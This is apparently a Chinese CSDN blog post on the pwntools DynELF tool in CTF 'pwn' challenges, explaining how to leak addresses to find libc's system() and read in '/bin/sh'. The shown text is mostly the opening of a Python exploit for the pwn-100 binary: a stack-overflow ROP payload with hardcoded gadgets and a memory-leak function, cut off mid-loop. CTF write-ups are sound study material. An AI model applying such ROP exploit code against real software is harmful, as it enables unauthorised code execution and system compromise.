pwn libc之Dynelf工具

最新推荐文章于 2023-09-16 23:52:06 发布

qingmu-z

最新推荐文章于 2023-09-16 23:52:06 发布

阅读量593

点赞数

本文链接：https://blog.youkuaiyun.com/weixin_42689613/article/details/115407485

版权

本文介绍了Dynelf工具在pwn挑战中的应用，如何通过泄露的地址找到libc版本对应的system函数，但指出该工具无法查找字符串"/bin/sh"的地址。在找到system后，通常需要寻找可写内存区域利用read函数读入"/bin/sh"。讨论了在pwn-100, pwn-200和welpwn等不同难度级别挑战中的适用情况，建议尽量避免依赖Dynelf，仅在必要时使用。" 134907921,18043917,Pytorch模型剪枝实战：YOLOv5中的剪枝策略,"['深度学习', '模型压缩', 'YOLO', 'Pytorch']

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

pwn-100

#!/usr/bin/env python3
from pwn import *

context(os="linux", arch="amd64", log_level="debug")
contentt = 1

#elf
elf=ELF("pwn-100")
puts_plt=elf.plt['puts']
read_got=elf.got['read']
main_addr=0x400550#0x4006b8
pop_rdi=0x400763
ret_addr=0x4004e1

binsh_addr=0x601040

#csu
pop6_addr=0x40075A
mov3_addr=0x400740
offset=0x48


def leak(addr):
    up=b''
    content=b''
    payload=b'a'*(0x40+8)+p64(pop_rdi)+p64(addr)+p64(puts_plt)+p64(main_addr)
    payload=payload.ljust(200,b'b')
    io.send(payload)
    io.recvuntil("bye~\n")
    while True:
        chr=io.recv(numb=1,timeout=0.1)
        if up == b'\n' and chr == b"":
            content=content[:-1]+b'\x00'
            break
        else: